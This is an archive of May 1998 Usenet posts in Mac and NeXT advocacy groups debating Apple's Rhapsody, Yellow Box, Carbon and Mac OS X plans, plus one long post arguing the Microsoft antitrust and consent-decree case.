References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <see-below-1205981903320001@209.24.240.213> <3559033D.89CD88D5@milestonerdl.com>
In article <3559033D.89CD88D5@milestonerdl.com>, mark@milestonerdl.com wrote:
> Matthew Vaughan wrote:
>
> > In article <35586AD9.C2C2FFB0@milestonerdl.com>, mark@milestonerdl.com
wrote:
> > > But, I'd LOVE to see a comment on:
> > >
> > > "YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
> > I'm not sure if that's a good way to position it. I don't think YB should
> > be "the future of MacOS" so much as a future cross-platform API (ie,
> > linked to Java), rather than specifically aimed at Apple developers.
>
> I believe at one time, "the future of MacOS" was how apple DID position
> YellowBox.
Yes, that's true. But it didn't seem to convince anyone (at least the
developers, who are the ones who need convincing). If they can now keep
fundamentally the same Mac APIs and still gain the benefits of the new
system, I don't see them being any more likely to adopt it.
In other words, I just don't see how realistic it would be to position it
as a Mac API replacement any time soon.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Tue, 12 May 1998 21:42:39 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559089F.C8BDFAD1@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com>
Mime-Version: 1.0
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Kristofer Jon Magnusson wrote:
> lly by the end of the week, we will find out for sure which API
> is the preferred, if Rhapsody will survive as a server and development OS,
> if it will stay on Intel.
Is there an e-mail address that someone can suggest where 'we' can mail Apple
and ask for clarification on some of these items?
Perhaps the 'answers' sought will be at the closing remarks.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
MIME-Version: 1.0
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References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
<ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com>
Message-ID: <ca561.1956$sy4.3560932@news.rdc1.sdca.home.com>
Date: Tue, 12 May 1998 23:45:12 GMT
NNTP-Posting-Date: Tue, 12 May 1998 16:45:12 PDT
Organization: @Home Network
In <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> Rex Riley wrote:
> In <35586023.305658D1@milestonerdl.com> M Rassbach wrote:
> >
> >
> > Rex Riley wrote:
> > >There
> > > are no assurances that a MacOS effort will successfully deliver on all
the
> > > strengths of Unix. You don't achieve the robustness of an operating
> system
> > > like Unix, 30+ years in the making in 12 mos.
> >
> > Yup. That's why I'm believing the 'spin' that MacOS X is really OpenSTEP
> with
> > some MacOS glued on, and renamed MacOS X.
> >
>
> That's a good starting place... Now think what you'd have to do to that
Unix
> code to host Macintoshish features.
>
> > But.....where is Rhapsody for Intel and YellowBox everywere? Prehaps
> Carbon will
> > be run everywere gambit....but somehow I'm doubting that. Carbon would
give
> Apple
> > CPU independance, *IF* they code it that way.
> >
> >
>
> Now think of how "cross platform" that reworked Unix OS for Macish features
is
> going to be since the team is cutting it on PPC. Apple just went into the
OS
> business BIG TIME. Not only do they now support Unix but now a set of
> extensions to "some brand" of unix which allows them to keep the Mac stuff
> proprietary.
>
> Now think "brittle"...
>
>
I've since learned that this is not the case. In fact MacOS X will be
Macintosh with Mach Kernel enhancements and a single user desktop. No unix
needed.
Correction posted to correct the obfuscation.
-r
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 04:02:38 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jb60u$qav$1@camel21.mindspring.com>
References: <ericb-1105981718430001@132.236.171.104> <35588272.7523@earthlink.net> <slrn6lhuds.om.jason@jhste1.dyn.ml.org> <nagleEsvKot.1Hn@netcom.com>
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In article <see-below-1205981702280001@209.24.240.213> Matthew Vaughan,
see-below@not-my-address.com writes:
>So long as Yellow Box is still available, yes. And nobody is talking about
>abandoning YB. (Carbon just replaces Blue Box)
Carbon does not _replace_ blue box. Blue box in some form will still be
there to run 68K and other
, old MacOS binaries. Carbon is a transplant of MacOS API's to Rhapsody,
to allow old MacOS apps to be
easily ported.
MC
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 21:04:46 -0700
Organization: CTS Network Services
Message-ID: <tminkoff-1205982104460001@dt060na6.san.rr.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31>
Cache-Post-Path: wagasa.cts.com!unknown@dt060na6.san.rr.com
In article <markeaton-1105982335100001@209.86.154.31>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
>
> > Why are you skeptical of MacOS X's shipping date? It's still not clear
> > what it is, but it's either basically BlueBox on top of Mach (which they
> > already have in Rhapsody's BlueBox), or Rhapsody itself with Blue and
> > Yellow mixed on the same screen (perhaps minus some Unix).
>
> It needs to be stated very clearly: Carbon is *not* the blue box, nor a
> blue box derivative, nor based on blue box technologies.
Is Carbon implemented on top of Yellow Box? Or is it implemented directly
on top of the Mach microkernel?
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Macos rumors quote
Date: 13 May 1998 04:08:28 GMT
Message-ID: <6jb6bs$nag$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
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I was disturbed by this quote on macos rumors. Of course since the apple
employees (on irc) are not identified, I guess it could just be BS? Here is
what they said:
MOSR: That's one big worry that people have -- the perceived "death" of
Rhapsody, and more specifically, the Yellow Box. What is Apple going to do
with all that good technology?
Tron: Well, Steve touched on that yesterday. Rhapsody 1.0 (aka CR1) ships
sometime this fall, and then all the Next'ers move to the X effort. Rhapsody
just didn't make sense for us. It was good technology, but it wasn't Apple,
and making it Apple-ified would have taken a heck of a lot longer than OS X
is going to take. I think that Sark has more to say about the YB....
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Adobe: ungrateful swine.
Date: 13 May 1998 04:19:51 GMT
Organization: University of California at San Diego
Message-ID: <slrn6li7r6.k15.mbkennel@lyapunov.ucsd.edu>
So according to the latest from Scott Anguish (manager of the
fabulous, and, unlike many, factually rigorous Stepwise site),
the license fee for Yellow Box on Windows is still around $20,
on account of somebody's licensed technology.
They will be cloning the licensed stuff in the next year to
let it be totally free of charge.
Almost certainly this includes Display Postscript.
I think Adobe ought to be kissing SteveButt because their nuts were
saved from the fire with "carbon", preventing some great OpenStep
program from cleaning their clock.
For example, by liberating Apple from Display Postscript fees, something
they don't even bother continuing any longer.
But nooooooo. They have Wintel worship on their brain. That is very stupid.
Just wait until MSFT decides it wants to be in the graphics and image
manipulation business. It already has a couple of image manipulation
programs.
"Out Out demons of Stupidity"
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: tminkoff@cts.com (Tony Minkoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 21:18:03 -0700
Organization: CTS Network Services
Message-ID: <tminkoff-1205982118030001@dt060na6.san.rr.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu> <6ja1eu$n7k$1@xmission.xmission.com>
Cache-Post-Path: wagasa.cts.com!unknown@dt060na6.san.rr.com
In article <6ja1eu$n7k$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> There is only one reason to keep the Yellow Box now and that is to be able
> to check off the box on the evaluation sheet that says "Cross-platform."
> If Carbon goes Intel, then kiss the Yellow box goodbye.
If that were really the only reason to use Yellow Box, we wouldn't need
it. However, Yellow Box promises to offer much more than merely the kind
of cross-platformness that Carbon will offer.
> : Perhaps they'll be woken up when three hackers in a garage kick their butt
> : with some OpenStep apps.
>
> It didn't happen before, when OPENSTEP was a platform. It didn't happen
> when NeXT released OPENSTEP for Windows.
Didn't OPENSTEP for Windows cost several hundred dollars per end-user license?
--
Tony Minkoff
tminkoff@cts.com
anthony_minkoff@ccmail.mitchell.com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Macos rumors quote
Date: Tue, 12 May 1998 22:32:16 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3559143F.159F8947@milestonerdl.com>
References: <6jb6bs$nag$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
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And as a counter quote:
Rhapsody / Yellow Box is not dead, dying or withering. No matter what the
instant analysis says. And, a lot of people missed some
major points on this. There are other shoes to drop and we're going to let
them drop. Unless we get in a pique and release that Report
RFI sent out today.
http://www.pelagius.com/AppleRecon/
And loyal Scott Anguish says all is well.
When will Apple publish its own position on this matter?
macghod@concentric.net wrote:
> I was disturbed by this quote on macos rumors. Of course since the apple
> employees (on irc) are not identified, I guess it could just be BS? Here is
> what they said:
>
> MOSR: That's one big worry that people have -- the perceived "death" of
> Rhapsody, and more specifically, the Yellow Box. What is Apple going to do
> with all that good technology?
>
> Tron: Well, Steve touched on that yesterday. Rhapsody 1.0 (aka CR1) ships
> sometime this fall, and then all the Next'ers move to the X effort. Rhapsody
> just didn't make sense for us. It was good technology, but it wasn't Apple,
> and making it Apple-ified would have taken a heck of a lot longer than OS X
> is going to take. I think that Sark has more to say about the YB....
>
> --
> Running on Openstep 4.2, the best os in the world, and about to get better!
> Mac/openstep qa work desired, email me for resume
> NeXTMail and MIME OK!
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 13 May 1998 04:28:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jb7i9$d0l$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8cet$fgg$1@nnrp1.dejanews.com> <rmcassid-1205980106390001@dialin33418.slip.uci.edu>
Please forgive my liberal snipping, but our posts are getting
way too long.
In article <rmcassid-1205980106390001@dialin33418.slip.uci.edu>,
rmcassid@uci.edu (Robert Cassidy) wrote:
>
> In article <6j8cet$fgg$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>
>I see this industry as being different from many.
...
> the software
> industry, in my opinion, is especially susceptable to monopoly.
>
It is a multi-edged sword. The industry is highly dynamic (and I love it
that way). One thing that I think we all could agree on. If Microsoft
quit releasing "new" products, it would soon be dead. You may argue that
Microsoft is perfecting the "perpetual revision machine", but that
can't last. If nothing else, Microsoft will run out of markets to
take over (sorry, bad joke). If you really want to punish Microsoft let
it turn itself into an IBM (can you imagine Bill Gate in a pin striped suit?)
<shudder>
> But if MS has rights, doesn't it's competitors also have rights? Without
> having to go to a 'public need' arguement, anti-trust is at least designed
> to offer competitors a hope of succeeding in a market. We simply don't
> have that right now in certain segments of the marketplace.
>
The courts have consistantly ruled that anti-trust was designed for consumer
protection only and not for the protection of competitors. If you would like
quotes, I think I can find some.
As you said earlier, no corporation has the "right" to success.
> If you were to argue the wording in the consent decree, you'd possibly
> find that two interpretations were valid. Where do you go from there?
To the negotiating history.
What was meant in 1994? I believe Microsoft wins on this point. The DOJ has
NO historical evidence that any of the signers thought "integrated products"
could not include products that were also sold separately.
> As such, it would seem that MS has no defense.
Defense against what? The Contempt case? They defended against that
quite well (IMO).
The anti-trust case has not been brought yet (I know, "soon").
> They are now down to publicity stunts and
> _horrendously_ worded surveys. I almost wish they had gotten busted for
> the forged letters to the editor after they went out.
That is one thing I do not understand. It was stupid not to wait until
there was clear evidence to wrong doing. Why are most Microsoft critics
bypassing the simple, clear violations for the vague "big one". If you don't
have the proof, you can't legitamately make a case.
> MS's defense thus far has been public opinion.
Sorry, I disagree. Microsoft has been mostly defending itself in the courts.
They also have been winning (which hurts them in the public relations
department). Although I agree Microsoft has begun fighting in the public
arena. But it would be stretching things to say Microsoft started the war
on public opinion. The war was well underway when Senator Hatch held his
commitee hearings.
> If you can't use it to charge MS, then you
> can't use it to bail them out either. An anti-trust should be a piece of
> cake to demonstrate (relatively speaking), though long and protracted due
> to the magnitude of the issue.
>
Bring it on. I think you may be surprised how hard this "piece of cake" will
be, but it is probably time to bring the question to a resolution.
<snip>
> I still don't see the difference if MS simply saves the OEM the effort. If
> the OEM doesn't want to include IE, what product should they order?
Hard to give up on the case, isn't it? I'll try to make it quick.
All companies have the right to sell or not sell the products as they wish.
Microsoft has this right, except as restricted by the Consent Agreement or
until they are PROVEN to be a monopoly. The Consent Decree simply does not
apply to "Integrated Products".
The DOJ and, apparently, Judge Jackson want to hold Microsoft to the
preceived intent of the Consent Decree. Contract Law (and legal precidents)
do not allow them to apply anti-trust intent to the Contract. What is
enforcable is only what the parties agreed to in 1994. Microsoft clearly
did not agree to an anti-trust intent in 1994.
<snip>
> I don't
> think the 96/IE4 predistribution bundling is proper, however. I *do* think
> they were in contempt by this action.
At best, Microsoft is in violation of the Consent Decree. The bar is higher
for "contempt". You need a clear, unambigious violation to succeed in finding
contempt. I agree that a separate IE3.0 install was in violation. As much
as you (and the DOJ) wants to extend that to Windows98, it just is not
supported by Contract Law. The DOJ has given up and gone for the anti-trust
route. If you wish to keep arguing it, I will gladly respond. Do you think
Windows98 is also in violation of the Consent Decree? What about all the
other "separate products" in Windows9x? Are they in violation too? Doesn't
the fact that Microsoft sells MSDOS separately, make it a separate product?
Once you get past the separate install (and separate license), the line
gets very blurry, very quickly.
<snip>
>It was a cheap move.
But that does not make it illegal.
<snip>
> > Now we have different coloring. Who was pushing whom? IE4.0 was a
> > natural progression from IE1.0, IE2.0 and IE3.0.
>
> But the so called 'integration' was not. MS should have left IE 4 as an
> end-user or OEM optional install. The 'integration' was really nothing
> more than a tactic to get around the issue.
>
Even the DOJ admitted that Microsoft intended for "O'hare" to be included
into "Chicago" in 1994. IE4.0 was not the first "integrated" Internet
Explorer. IE 3.0 was integrated into OEM releases. This I know from
personal experience. I have heard IE 1.0 and IE 2.0 were also integrated
into some OEM releases. I could try to find evidence of that. If it
was true, would that change your position?
<snip>
> Conceding that the IE3 requirement was wrong and then coming back with IE4
> in the manner that they did was 'pushing'. As if the courts specifically
> told them they couldn't require Internet Explorer installations, so MS
> goes and renames the product Internet Examiner. It was pushing...
>
I am not sure you have the facts straight here. Microsoft NEVER integrated
IE 4.0 into Windows95. It was IE 3.0. Windows98 contains IE 4.0. The only
thing Microsoft "changed" after the suit was filed was to allow OEMs to
remove the icon via the DOJ/MS stipulation. Microsoft was responding to
DOJ attacks. It was not "pushing".
<snip>
> I think the problem comes in that it's difficult to judge software.
> Integration is a very fuzzy term. All of this stuff comes in shades of
> grey. My experience with software and development leads me to conclude
> that MS was clearly hoping for a loophole. And they got it in this
> so-called 'integration'.
>
Microsoft was not "hoping" for a loophole. They wrote it into the Consent
Agreement in 1994. That is why the "Integrated Product" clause was in there.
In 1994, the DOJ did not think it was important, so they agreed to it.
Let me repeat, the DOJ agreed with Microsoft's interpretation in 1994.
Call it "stupid", call it "sneaky" but that it is what happened and
Contract Law upholds it.
> > You think the DOJ used it to garner support? Don't you find that
inexcusable
> > behavior on the part of the highest law-enforcement agency in these United
> > States?
>
> I don't think they used it only to garner support. But while they were
> there, they might as well start to educate people before the anti-trust
> comes.
This is where we really, really disagree. NO WAY. TABOO. NO EXCUSE.
The DOJ has NO BUSIESS using the court system to advance a political
agenda PERIOD.
<snip>
> I think MS should fight the good fight. But MS sometimes goes further.
Like when they win?
Seriously. In the Contempt Case, where did Microsoft cross the line?
I can give you several specific DOJ actions that crossed the line. Can
you give me one for Microsoft?
> I don't like that one bit. I think MS should be struggling to get permission
> to release Win98. I think that should be denied until they divorce the
> browser from the OS.
Please provide the legal argument for your statement.
Until Microsoft is proven to be a monopoly, there is no justification for
this kind of government intervention. The DOJ should have started the
anti-trust case a long time ago.
> As it stands, MS may still lose this fight and much
> more. It might be in their best interests to roll over now. Yield the
> battle in the interest of the war, and all that. I belive that the DOJ
> will go after much more than Win98 right now.
>
This is extortion. It is right up there with Senator Hatch's not-so-veiled
threat of introducing industry regulation if Microsoft is not stopped.
> > I really am interested in where you felt Microsoft "started to push" in
> > this case. What I saw was an aggressive legal and political defense
against
> > attacks from several fronts.
>
> I think it was the 'to hell with Janet Reno' line, politically,
Did I miss that one. Please, please provide a link to this gem.
If you were speaking in generalities, could you be more specific?
> and the
> 'we won't force them to install IE for us, we'll just do it for them'
> business, legally.
Microsoft did this before the DOJ motion.
<snip>
> The 'attacks'
> by the DOJ seem to be based in the courts, where MS's often seem to often
> be from Ballmers mouth and soap boxes in New York. I'm not sure what the
> legal value in that is, to be honest.
>
The DOJ is losing in the courts. The DOJ is rallying states to support
them. There is some interesting mutual support between the DOJ and
Senator Hatch. It is strictly against DOJ policy to release ANYTHING to
the press about an on going case (accept through official press releases and
court briefs). Have you noticed how much information we are getting from
"informed DOJ sources". We even know a big anti-trust case is going to be
filed Thursday. Please, don't try to tell me the DOJ is only letting their
court submissions do their talking.
It is probably a good thing the DOJ doesn't let their briefs do all the
talking. I have been reading the submitted documents from both sides. It has
gotten embarrising at times to see how twisted and strained the DOJ's
arguments are. Here are some examples...
The DOJ was arguing a big difference between the words
"Propose" and "Recommend".
They claimed in "Findings of Fact" that
Microsoft created a browser when they wrote a four line VBA macro.
They claimed that December 11th to May 7th was "nearly six months".
Go to www.usdoj.gov and read them sometime.
Compare them to Microsoft's briefs at www.microsoft.com/corpinfo
It is a lot of reading, but it will give you insight as to who is
effectively using the court system.
Providing Food for Thought,
David Petticord
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
<bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com>
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Message-ID: <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com>
Date: Wed, 13 May 1998 04:37:18 GMT
NNTP-Posting-Date: Tue, 12 May 1998 21:37:18 PDT
Organization: @Home Network
In <3559033D.89CD88D5@milestonerdl.com> M Rassbach wrote:
>
>
> Matthew Vaughan wrote:
>
> > In article <35586AD9.C2C2FFB0@milestonerdl.com>, mark@milestonerdl.com
wrote:
> > > But, I'd LOVE to see a comment on:
> > >
> > > "YellowBox is the future of MacOS" vs this new, in flux Carbon thinggie.
> > I'm not sure if that's a good way to position it. I don't think YB should
> > be "the future of MacOS" so much as a future cross-platform API (ie,
> > linked to Java), rather than specifically aimed at Apple developers.
>
> I believe at one time, "the future of MacOS" was how apple DID position
> YellowBox.
>
>
I've learned abit in the last 4 hours on Apple's software strategy. The
product roadmap changes are healthier. I'll share my reasons:
Rhapsody, BSDstyle, is staying as Apple's "multi-user" server product.
Rhapsody,Macstyle, is Apple's single-user desktop called MacOS X.
This gives everyone "options" where before there were few. Options are good.
It sets the stage for a tiered product line. It clearly delineates the roles
the products will meet in the marketplace and technology space. Gaps in a
complete product line deliniate along consumer/commercial lines with
sub-categories for Standard - Pro differentiation. This is an easily
deciphered Industry Standard product line staging. Customer's won't be
confused!
Most importantly it takes a "Do or Die" insane pressure off Team Rhapsody.
Now it can mature the OS in a more natural evolutionary path. A positive side
effect, is that all this encourages a management focus "outside" Apple onto
the topology of a Real marketplace. There is now, plenty of room for Apple
management to engineer "in fill" product solutions a marketplace wants.
These are huge shifts from the "nose to the grindstone", "make or break"
months of "Pushing" Rhapsody on a customer/developer base resistant to lavish
outlays for Mac-plated Unixware. It takes abandoned Pipelines with 6 years
worth of R&D investments and converts it into badly needed Product Revenue for
Apple in'99.
There are tons of questions and irrefutable Costs to get to market... but it
buys "pipeline", "time" "options", "homogeneity", "clarity" and "architecture"
lacking previously.
-r
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 13 May 1998 00:38:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jb842$34i$1@crib.bevc.blacksburg.va.us>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
In article <6javob$tpe$1@reader1.reader.news.ozemail.net>, "Greg Alexander" <galexand@ozemail.com.au> wrote:
> * YB won't run on MacOS 8
Is that now, or never? I haven't heard announcements in that regard.
> * YB Runtime for Windows will cost ~$20
:(
> * Many mac developers will go Carbon short term - so less YB apps.
> (but a lot more apps for PPC Rhapsody/X)
I don't think this means any less YB apps than before, actually.
Perhaps more, as YB will be "native" on OS X (even though Carbon is
also native). Thus, whether or not they're using that or Rhapsody, YB
will be readily and prominently availble to them.
> * No commitment to Rhapsody-Intel next year.
> (given that MacOS X is really "Rhapsody 2.0 for PPC")
As far as I've heard, they've said that they're committed to Rhapsody on
Intel. Not "just for this year".
> I'm really sitting on the fence in this debate. I think Mac OS X
> is really Rhapsody 2 (Funny how all these articles are saying
> "Apple drops Rhapsody 1.0 in favor of Rhapsody 2.0!")
:)
> All that can be said for sure is that current Mac developers just found
> a way to get their programs running reasonably on the new OS.
> Will MacOS X dumb down Rhapsody? or is it simply adding
> new functionality?
That is indeed the question. All of my questions _still_ haven't been
answered..
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: One Big Q for MacOS X: Multiuser?
Date: 13 May 1998 04:45:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6li9at.ej.sal@panix3.panix.com>
References: <slrn6lhpsf.isf.mbkennel@lyapunov.ucsd.edu>
On 13 May 1998 00:21:35 GMT, Matt Kennel <mbkennel@yahoo.com> wrote:
>Under OpenStep, it's the BSD layer which groks the concept of UID's, which
>is pretty neccessary for password logins and network mounts et cetera.
>UIDs have to carry along as part of the process structure.
>Is that still there in Carbon?
No. Carbon is *NOT* an OS. It is an API (or set of frameworks) to
provide support for MacOS code on Rhapsody.
MacOS X *IS* Rhapsody with some new libs and OpenTrasport and a
few other Mac things added.
It will still have Mach+BSD and all the UID stuff in it.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 May 1998 04:56:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6lia08.ej.sal@panix3.panix.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244> <35583135.7CE2CEC9@milestonerdl.com> <slrn6lgqa3.l2e.sal@panix3.panix.com> <35588f90.540402137@news.whro.org>
On Tue, 12 May 1998 18:10:09 GMT, -J <jhorner@REMOVEwhro.org> wrote:
>On 12 May 1998 15:22:43 GMT, sal@panix3.panix.com (Salvatore Denaro)
>wrote:
>>On Tue, 12 May 1998 06:23:33 -0500, M Rassbach <mark@milestonerdl.com> wrote:
>>>Apple needs to decide if
>>>it's a hardware or a software company. If Apple tries using its software to
>>>protect its hardware, it will continue to 'loose'.
>>Apple is NOT a software company.
>>Apple is NOT a hardware company.
>Yes they are.
Not according to Apple. I think they know what they are better than you or I.
(but then again...)
>Will an Apple Computer run without a Mac OS?
Can you *BUY* it without MacOS?
I can push my car into the river, that doesn't make it a boat.
> Yes, Linux will run on
>it. Ok then, so can I call Apple and order the operating system?
Where are you going to run it?
Apple does not sell Linux. Apple does not sell BeOS. Apple sells Macs
that run MacOS. They also sell other software, but at the end of the
day, Apple is a systems company. They make most of their money selling
mac systems, not copies of MacOS or CD-Roms or Mugs.
>Can I call Apple and order a new Apple CDROM drive? Yes. -bang-
>hardware.
They also sell Mugs. Does that make them a housewares company? They
sell T-Shirts. Does that make them a clothing company?
What is Apple's *MAIN PRODUCT*? The Macintosh.
What is the Macintosh? It is custom software running on custom hardware.
>>Apple is a SYSTEM company. Macintosh is a *SYSTEM* made up of custom hardware
>>and custom software.
>No, you can order Apple HARDWARE. Are you telling me we can ONLY order
>the complete system and NOTHING else?
Show me where you can buy a Mac *without* MacOS.
>>Apple ][ was a SYSTEM, made up of custom hardware and software.
>Apple II may have been. But not after they made parts for replacement
>or addons.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X
Date: Wed, 13 May 1998 05:26:22 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35592EFE.B32DF99D@nstar.net>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net> <slrn6lh7i3.hb5.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> A working X server wouldn't be bad (if it provided just as good output and
> capabilities as DPS---i.e. it had DPS inside it as well as X) but the
> ability to restart just the display server quickly can happen with DPS, too.
>
> It's not a reason to change to X.
Actually, it was all just a joke, only I forgot to make note of that. I
tried to pick stupid reasons, and to be perfectly honest, I hope nobody
took it seriously because none of what I figmented makes any sense
whatsoever.
Whatever it looks like, I *don't* think any future Apple operating
system should make X Windows its main display protocol. To do so would
be silly and technologically backward. I *do*, however, believe that
Apple should put effort toward providing a really nice X server to prove
that Rhapsody is intended to be a cross-platform operating system. It
would attract X developers, whom I suspect could be converted when the
usefulness of Yellow Box APIs is demonstrated.
Sorry for the unintentional FUD, of sorts.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Wed, 13 May 1998 05:27:35 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35592F47.95835927@nstar.net>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net> <6ja772$k4$5@news.idiom.com>
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John C. Randolph wrote:
>
> Way to go, Mike! Great troll!
Thanks.
> I can't wait to see MacMotif! How about Mac OS Openlook?
Lord, no. I'm waiting for the really good stuff, like MacGIMP and MacXV.
Makes me tingly all over...
[the above is sarcasm]
MJP
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 05:12:11 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jba3b$t45$1@camel21.mindspring.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6jaec4$r8i@nntp02.primenet.com> <slrn6lhhvf.mi.jason@jhste1.dyn.ml.org> <see-below-1205981915240001@209.24.240.213>
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In article <jayfar-1205981546160001@downtown1-14.slip.netaxs.com> Jayfar,
jayfar@netaxs.com writes:
>BTW, that brings up an interesting, but irrelevant point of law. Were
>Apple incorporated in the state of Pennsylvania, his fiduciary
>responsibility would be not only to stockholders, but to other
>stakeholders, including employees, customers, and the community at-large.
>This came up locally in discussions of a recent mega-bank merger here.
